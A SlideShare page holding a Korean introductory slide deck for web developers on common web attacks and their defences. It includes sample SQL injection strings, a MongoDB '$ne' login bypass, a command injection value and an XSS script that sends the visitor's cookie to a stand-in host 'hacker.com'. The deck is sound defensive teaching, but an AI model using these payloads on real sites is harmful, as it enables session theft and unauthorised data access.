SlideShare a Scribd company logo
1 of 46
Download to read offline
웹 개발을 위해
꼭 알아야하는 보안 공격
2021. 02. 22
이선협
오늘의 목표
웹 보안에 대해 이해하고 기초 공격 기법과 해결 방법을 이해한다.
웹 보안
웹 사이트의 취약점을 공격하는 기술적 위협으로, 웹 페이지를 통하여
권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴와 같은 행위를 말한다.
https://ko.wikipedia.org/wiki/웹_해킹
한 순간의 실수로 서비스가 망할 수도 있다! 😨
너무 다양한 공격 기법…
SQL Injection
XSS
CSRF Attack
File Upload Attack
Command Injection
Buffer Overflow
Dictionary Attack
.
.
.
전부는 아니더라도 기초적인 것은
꼭 알아둬야한다
알아야하는 공격 기법
Start
SQL Injection
•서버에서 실행되는 SQL을 악의적으로 이용하는 공격
•기존 SQL에 악의적인 SQL을 삽입한다.
•데이터 탈취, 삭제 등이 가능하다.
•뚫리면 서비스 종료각
SQL Injection - 사례
SQL Injection - 사례
SQL Injection - 방어
•SQL에서 특별한 의미를 가지는 문자를 이스케이프한다.
ex) n, t, |, /, &, #, …...
•준비된 선언을 사용한다.
•요즘은 라이브러리, 프레임워크에서 아주 잘 막아준다.
SQL Injection - 심화
•Error based SQL Injection
•일부러 SQL 에러를 발생시켜 원하는 정보를 취득한다.
•쿼리문 추측, DB명, 테이블명 등의 취득이 가능하다.
SQL Injection - 심화
•Blind SQL Injection
•Query 결과의 참/거짓을 보고 원하는 정보가
존재하는지 알 수 있다. (추론)
•DB, Table 명을 알 수 있다.
•SQLMap
ex) SELECT * FROM users WHERE user_id = '1' and substring(database(),1,2)='us'#
SQL Injection - 심화
•Union SQL Injection
•Union 명령을 이용하여 정보를 취득한다.
ex) SELECT * FROM users WHERE user_id = '1' or 1=1 UNION SELECT '',id,pw from users#
XSS
•Crose-Site Scripting
•웹 페이지에 악성 스크립트를 삽입하는 공격
•사이트 이용자 정보를 탈취할 수 있다.
•뚫리면 많은 것을 잃는다.
XSS - 사례
<script>document.URL='http://hacker.com?'+document.cookie</script>
게시판 이용자가 글을 읽을 때 토큰 탈취!!!
XSS - 방어
•HTML 필터링을 한 후 DB에 저장한다.
ex) <, >, script, html, head, meta, ……
•만약을 위해 프론트엔드에서도 필터링한다.
XSS - 심화
•앞서 소개한 방식은 Stored XSS
•Reflected XSS
•DOM Based XSS
XSS - 심화
•Reflected XSS
•검색어 등을 보여주는 곳에 스크립트를 심는 공격
•URL을 사용자에게 누르게 만들면 공격 성공
https://papago.naver.com/?sk=ko&tk=en&st=<script>…</script>
XSS - 심화
•DOM Based XSS
•DOM에 악의적인 스크립트를 심는 공격
•브라우저가 해석하는 단계에서 발생되는 공격
CSRF Attack
•Cross-Site Request Forgery
•공격자가 사용자를 이용하여 웹 사이트에
요청을 보내는 공격
CSRF Attack - 사례
가짜 진짜
admin
1q2w3e4r
로그인 요청
성공/실패
성공했으면 저장
CSRF Attack - 방어
•Referrer Check
•허용한 도메인만 요청 허락하도록 설정
•CSRF Token
•모든 요청에 토큰을 발급하여 서버에서 검증
•CAPTCHA
•사람이 요청한 것이 맞는지 검증
Command Injection
•애플리케이션에서 사용되는 시스템 명령에 악의적인
명령어를 삽입하는 공격 (WebShell Attack)
•서버 root 권한을 취득할 수 있다.
•뚫리면 서비스 종료각
Command Injection - 사례
Hacker
text.txt; ifconfig
system("cat ${var}")
execute
WebShell
Command Injection - 방어
•가급적 시스템 함수는 사용 X
•민감한 문자를 필터링
ex) |, &, ;, >, <
File Upload Attack
•악성 스크립트 파일을 업로드하는 공격
•업로드 후 파일 위치를 찾아 실행시키면 공격 성공
•뚫리면 서비스 종료각
File Upload Attack - 사례
Upload
1 2
Command WebShell
File Upload Attack - 방어
•확장자 / 파일 타입 검사
•업로드 파일을 난수화하여 저장
•특수 문자가 포함된 경우 업로드 금지
(Null byte Injection 방어)
Javascript Injection
•Client-Side에서 Javascript를 삽입시키는 공격
•크롬 console 등을 통해 조작 가능하다.
•Client-Side에 민감한 데이터를 넣을 경우 탈취 가능
Javascript Injection - 사례
Javascript Injection - 방어
•Client-Side엔 민감한 정보를 절대 넣지 않는다.
•데이터 유효성 검사가 필요한 경우 서버와 통신한다.
(Client에서 검사하면 안된다)
DDoS
•Distributed Denial of Service
•서버에 비정상적으로 많은 트래픽을 보내는 공격
•서비스가 마비되고 많은 비용이 소모된다.
DDoS - 사례
Zombie PC
Traffic
DDoS - 방어
•제일 단순한데 제일 막기 어렵다.
•확장 가능한 서비스 구조 설계
•IP 필터링
•솔루션 구매... …
Dictionary Attack
•미리 사전에 등록해놓은 문자열을 암호로 대입하는 공격
•Brute Force의 일종
Dictionary Attack - 사례
admin
apple

banana

cyber

.

.

.

1q2w3e4r
Dictionary Attack - 방어
•의미가 있는 문자열은 암호로 등록 못하도록 설정
•Account Lockout Policy
•2-factor 인증
Rainbow Table
•해시 함수를 이용한 평문을 모두 저장시켜 놓은 표
•계정 탈취 후 암호 원문을 알아내기 위해 사용
Rainbow Table - 방어
•Salt 사용
•Key Stretching
•PBKDF2, Bcrypt 등의 암호화 알고리즘 사용
MongoDB Injection
•SQL Injection처럼 악의적인 값을 넣어
DB를 조작하는 공격
•뚫리면 서비스 종료각
MongoDB Injection - 사례
db.collection.find({ "email": "kciter@cobalt.run", "password": password })
db.collection.find({ "email": "kciter@cobalt.run", "password": { "$ne": "-" })
password = { "$ne": "-" }
MongoDB Injection - 방어
•영향을 줄 수 있는 문자를 필터링한다.
ex) $, {, }, [, ], (, ), ...
Buffer Overflow
•Buffer Overflow를 통해 다른 메모리에 접근하는 공격
•다른 메모리에 접근 및 제어가 가능하기 때문에 치명적
•시스템 해킹 기법이기도 하다.
•뚫리면 서비스 종료각
웹 개발을 위해 꼭 알아야하는 보안 공격

More Related Content

Similar to 웹 개발을 위해 꼭 알아야하는 보안 공격

Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Security Vulnerabilities
Security VulnerabilitiesSecurity Vulnerabilities
Security VulnerabilitiesMarius Vorster
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Michael Hendrickx
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101 Stormpath
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01G Prachi
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)Shubham Gupta
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
Security Basics For Developers Knowledge
Security Basics For Developers KnowledgeSecurity Basics For Developers Knowledge
Security Basics For Developers KnowledgeSiva Sankar
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018Marius Vorster
 
Open source security
Open source securityOpen source security
Open source securitylrigknat
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 

Similar to 웹 개발을 위해 꼭 알아야하는 보안 공격 (20)

Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Security Vulnerabilities
Security VulnerabilitiesSecurity Vulnerabilities
Security Vulnerabilities
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01
 
Secure webbrowsing 1
Secure webbrowsing 1Secure webbrowsing 1
Secure webbrowsing 1
 
Codeinjection
CodeinjectionCodeinjection
Codeinjection
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Security Basics For Developers Knowledge
Security Basics For Developers KnowledgeSecurity Basics For Developers Knowledge
Security Basics For Developers Knowledge
 
a
aa
a
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018
 
Open source security
Open source securityOpen source security
Open source security
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 

More from 선협 이

MongoDB 이해하기
MongoDB 이해하기MongoDB 이해하기
MongoDB 이해하기선협 이
 
Deep dive into Vue.js
Deep dive into Vue.jsDeep dive into Vue.js
Deep dive into Vue.js선협 이
 
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막선협 이
 
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017선협 이
 
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2ndVue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd선협 이
 
Reactive Programming With Swift
Reactive Programming With SwiftReactive Programming With Swift
Reactive Programming With Swift선협 이
 
Tour of Vue.js
Tour of Vue.jsTour of Vue.js
Tour of Vue.js선협 이
 
Functional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwiftFunctional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwift선협 이
 
파크히어 Realm 사용 사례
파크히어 Realm 사용 사례파크히어 Realm 사용 사례
파크히어 Realm 사용 사례선협 이
 
왜 Swift를 해야할까요?
왜 Swift를 해야할까요?왜 Swift를 해야할까요?
왜 Swift를 해야할까요?선협 이
 
C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법선협 이
 
C++과 Lua script연동
C++과 Lua script연동C++과 Lua script연동
C++과 Lua script연동선협 이
 
MSBuild + Git + Jenkins
MSBuild + Git + JenkinsMSBuild + Git + Jenkins
MSBuild + Git + Jenkins선협 이
 
Post Effect 테스트
Post Effect 테스트Post Effect 테스트
Post Effect 테스트선협 이
 

More from 선협 이 (16)

MongoDB 이해하기
MongoDB 이해하기MongoDB 이해하기
MongoDB 이해하기
 
Deep dive into Vue.js
Deep dive into Vue.jsDeep dive into Vue.js
Deep dive into Vue.js
 
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
 
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
 
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2ndVue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
 
Reactive Programming With Swift
Reactive Programming With SwiftReactive Programming With Swift
Reactive Programming With Swift
 
Tour of Vue.js
Tour of Vue.jsTour of Vue.js
Tour of Vue.js
 
Functional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwiftFunctional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwift
 
파크히어 Realm 사용 사례
파크히어 Realm 사용 사례파크히어 Realm 사용 사례
파크히어 Realm 사용 사례
 
왜 Swift를 해야할까요?
왜 Swift를 해야할까요?왜 Swift를 해야할까요?
왜 Swift를 해야할까요?
 
C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법
 
C++과 Lua script연동
C++과 Lua script연동C++과 Lua script연동
C++과 Lua script연동
 
C++11
C++11C++11
C++11
 
MSBuild + Git + Jenkins
MSBuild + Git + JenkinsMSBuild + Git + Jenkins
MSBuild + Git + Jenkins
 
Post Effect 테스트
Post Effect 테스트Post Effect 테스트
Post Effect 테스트
 
C++과 TDD
C++과 TDDC++과 TDD
C++과 TDD
 

Recently uploaded

Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024The Digital Insurer
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProduct Anonymous
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 

Recently uploaded (20)

Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 

웹 개발을 위해 꼭 알아야하는 보안 공격

  • 1. 웹 개발을 위해 꼭 알아야하는 보안 공격 2021. 02. 22 이선협
  • 2. 오늘의 목표 웹 보안에 대해 이해하고 기초 공격 기법과 해결 방법을 이해한다.
  • 3. 웹 보안 웹 사이트의 취약점을 공격하는 기술적 위협으로, 웹 페이지를 통하여 권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴와 같은 행위를 말한다. https://ko.wikipedia.org/wiki/웹_해킹
  • 4.
  • 5. 한 순간의 실수로 서비스가 망할 수도 있다! 😨
  • 6. 너무 다양한 공격 기법… SQL Injection XSS CSRF Attack File Upload Attack Command Injection Buffer Overflow Dictionary Attack . . .
  • 7. 전부는 아니더라도 기초적인 것은 꼭 알아둬야한다
  • 9. SQL Injection •서버에서 실행되는 SQL을 악의적으로 이용하는 공격 •기존 SQL에 악의적인 SQL을 삽입한다. •데이터 탈취, 삭제 등이 가능하다. •뚫리면 서비스 종료각
  • 10. SQL Injection - 사례
  • 11. SQL Injection - 사례
  • 12. SQL Injection - 방어 •SQL에서 특별한 의미를 가지는 문자를 이스케이프한다. ex) n, t, |, /, &, #, …... •준비된 선언을 사용한다. •요즘은 라이브러리, 프레임워크에서 아주 잘 막아준다.
  • 13. SQL Injection - 심화 •Error based SQL Injection •일부러 SQL 에러를 발생시켜 원하는 정보를 취득한다. •쿼리문 추측, DB명, 테이블명 등의 취득이 가능하다.
  • 14. SQL Injection - 심화 •Blind SQL Injection •Query 결과의 참/거짓을 보고 원하는 정보가 존재하는지 알 수 있다. (추론) •DB, Table 명을 알 수 있다. •SQLMap ex) SELECT * FROM users WHERE user_id = '1' and substring(database(),1,2)='us'#
  • 15. SQL Injection - 심화 •Union SQL Injection •Union 명령을 이용하여 정보를 취득한다. ex) SELECT * FROM users WHERE user_id = '1' or 1=1 UNION SELECT '',id,pw from users#
  • 16. XSS •Crose-Site Scripting •웹 페이지에 악성 스크립트를 삽입하는 공격 •사이트 이용자 정보를 탈취할 수 있다. •뚫리면 많은 것을 잃는다.
  • 18. XSS - 방어 •HTML 필터링을 한 후 DB에 저장한다. ex) <, >, script, html, head, meta, …… •만약을 위해 프론트엔드에서도 필터링한다.
  • 19. XSS - 심화 •앞서 소개한 방식은 Stored XSS •Reflected XSS •DOM Based XSS
  • 20. XSS - 심화 •Reflected XSS •검색어 등을 보여주는 곳에 스크립트를 심는 공격 •URL을 사용자에게 누르게 만들면 공격 성공 https://papago.naver.com/?sk=ko&tk=en&st=<script>…</script>
  • 21. XSS - 심화 •DOM Based XSS •DOM에 악의적인 스크립트를 심는 공격 •브라우저가 해석하는 단계에서 발생되는 공격
  • 22. CSRF Attack •Cross-Site Request Forgery •공격자가 사용자를 이용하여 웹 사이트에 요청을 보내는 공격
  • 23. CSRF Attack - 사례 가짜 진짜 admin 1q2w3e4r 로그인 요청 성공/실패 성공했으면 저장
  • 24. CSRF Attack - 방어 •Referrer Check •허용한 도메인만 요청 허락하도록 설정 •CSRF Token •모든 요청에 토큰을 발급하여 서버에서 검증 •CAPTCHA •사람이 요청한 것이 맞는지 검증
  • 25. Command Injection •애플리케이션에서 사용되는 시스템 명령에 악의적인 명령어를 삽입하는 공격 (WebShell Attack) •서버 root 권한을 취득할 수 있다. •뚫리면 서비스 종료각
  • 26. Command Injection - 사례 Hacker text.txt; ifconfig system("cat ${var}") execute WebShell
  • 27. Command Injection - 방어 •가급적 시스템 함수는 사용 X •민감한 문자를 필터링 ex) |, &, ;, >, <
  • 28. File Upload Attack •악성 스크립트 파일을 업로드하는 공격 •업로드 후 파일 위치를 찾아 실행시키면 공격 성공 •뚫리면 서비스 종료각
  • 29. File Upload Attack - 사례 Upload 1 2 Command WebShell
  • 30. File Upload Attack - 방어 •확장자 / 파일 타입 검사 •업로드 파일을 난수화하여 저장 •특수 문자가 포함된 경우 업로드 금지 (Null byte Injection 방어)
  • 31. Javascript Injection •Client-Side에서 Javascript를 삽입시키는 공격 •크롬 console 등을 통해 조작 가능하다. •Client-Side에 민감한 데이터를 넣을 경우 탈취 가능
  • 33. Javascript Injection - 방어 •Client-Side엔 민감한 정보를 절대 넣지 않는다. •데이터 유효성 검사가 필요한 경우 서버와 통신한다. (Client에서 검사하면 안된다)
  • 34. DDoS •Distributed Denial of Service •서버에 비정상적으로 많은 트래픽을 보내는 공격 •서비스가 마비되고 많은 비용이 소모된다.
  • 35. DDoS - 사례 Zombie PC Traffic
  • 36. DDoS - 방어 •제일 단순한데 제일 막기 어렵다. •확장 가능한 서비스 구조 설계 •IP 필터링 •솔루션 구매... …
  • 37. Dictionary Attack •미리 사전에 등록해놓은 문자열을 암호로 대입하는 공격 •Brute Force의 일종
  • 38. Dictionary Attack - 사례 admin apple banana cyber . . . 1q2w3e4r
  • 39. Dictionary Attack - 방어 •의미가 있는 문자열은 암호로 등록 못하도록 설정 •Account Lockout Policy •2-factor 인증
  • 40. Rainbow Table •해시 함수를 이용한 평문을 모두 저장시켜 놓은 표 •계정 탈취 후 암호 원문을 알아내기 위해 사용
  • 41. Rainbow Table - 방어 •Salt 사용 •Key Stretching •PBKDF2, Bcrypt 등의 암호화 알고리즘 사용
  • 42. MongoDB Injection •SQL Injection처럼 악의적인 값을 넣어 DB를 조작하는 공격 •뚫리면 서비스 종료각
  • 43. MongoDB Injection - 사례 db.collection.find({ "email": "kciter@cobalt.run", "password": password }) db.collection.find({ "email": "kciter@cobalt.run", "password": { "$ne": "-" }) password = { "$ne": "-" }
  • 44. MongoDB Injection - 방어 •영향을 줄 수 있는 문자를 필터링한다. ex) $, {, }, [, ], (, ), ...
  • 45. Buffer Overflow •Buffer Overflow를 통해 다른 메모리에 접근하는 공격 •다른 메모리에 접근 및 제어가 가능하기 때문에 치명적 •시스템 해킹 기법이기도 하다. •뚫리면 서비스 종료각